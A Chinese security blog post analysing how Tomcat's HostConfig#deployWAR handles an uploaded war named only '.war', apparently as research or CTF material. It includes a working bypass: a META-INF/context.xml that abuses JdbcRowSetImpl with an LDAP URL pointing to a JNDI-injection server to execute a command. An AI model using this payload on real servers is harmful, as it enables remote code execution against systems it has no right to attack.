Tomcat upload war bypass

,

我想偷光日月潮汐和你慢慢的聊, 最好有张摇椅可以慢慢的摇
慢慢的缩小 眼尾长出线条, 在漫漫的时光里一起变老

0x00 介绍

之前在zsxq提了一个问题 https://t.zsxq.com/0cU40i3uo，大概是 假设有一个环境，可以上传war包，但是文件名不能超过4个字符，怎么rce。 (默认tomcat环境)

于是在这里也简单的分享一下，虽然没有什么用。。。。

0x02 分析代码

这里只是从tomcat代码上研究bypass

后缀名大小写绕过

上传的war支持大小写

image-20230313105043961

问题

如果我们上传的war文件名不能超过4个怎么办？也就是只能上传 .war

这个问题会有什么影响？我本地测试了一下。在webapps下上传**.war**并没有成功生成文件夹和解压出我们的webshell。

看看tomcat是什么代码逻辑

org.apache.catalina.startup.HostConfig#deployWAR

设置路径

image-20230313121202225

image-20230313121020035

所以this.context.getPath() == “” 上传的.war给ContextName处理

image-20230313115732787

因为获取不到pathname名（为**.**）就为ROOT

image-20230313120530915

然后在给war进行解压的时候，判断docBase存不存在，因为是ROOT文件，肯定存在就不会解压.war 流程结束

image-20230313120213186

所以：为什么上传 .war没有解压出我们的webshell。

是因为处理的路径为””,然后就用ROOT来判断存不存在，而ROOT默认是存在的所以不能解压.war

bypass

知道了原因，那么我们怎么bypass。

方法一：

想办法删除ROOT文件夹。上传 .war，解压的文件就会重新在ROOT生成

方法二：

我们在看看org.apache.catalina.startup.HostConfig#deployWAR的逻辑

image-20230313121716099

image-20230313121805002

在真正的部署war之前，判断了有没有META-INF/context.xml文件之后解析。

那么就简单了。我们上传 .war文件是META-INF/context.xml

内容是：

1
2
3
4
5
6
7
8
9
<Context>
    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>web.xml</WatchedResource>

    <Manager className="com.sun.rowset.JdbcRowSetImpl"
             dataSourceName="ldap://127.0.0.1:2333/TomcatBypass/Command/calc"
             autoCommit="true"></Manager>
</Context>

上传之后直接进行了jndi注入，并没有生成文件夹。成功利用！

路径穿越 失败

在调试的过程中想到，war不就是jar嘛而jar也是zip结构，那么就可能存在一个路径穿越的问题。

解压出war里面的文件发现可能是存在路径穿越

image-20230313114819255

但是这里进行了判断，判断处理之后的文件路径是不是canonicalDocBasePath开头，不然就报错。

image-20230313124038581

0x03 总结

感觉这个trick没有什么用但是可以用去出CTF。（或者可能有人这样写防御）

在分享一下自己的zsxq……（王婆卖瓜…..）

image-20230313124038581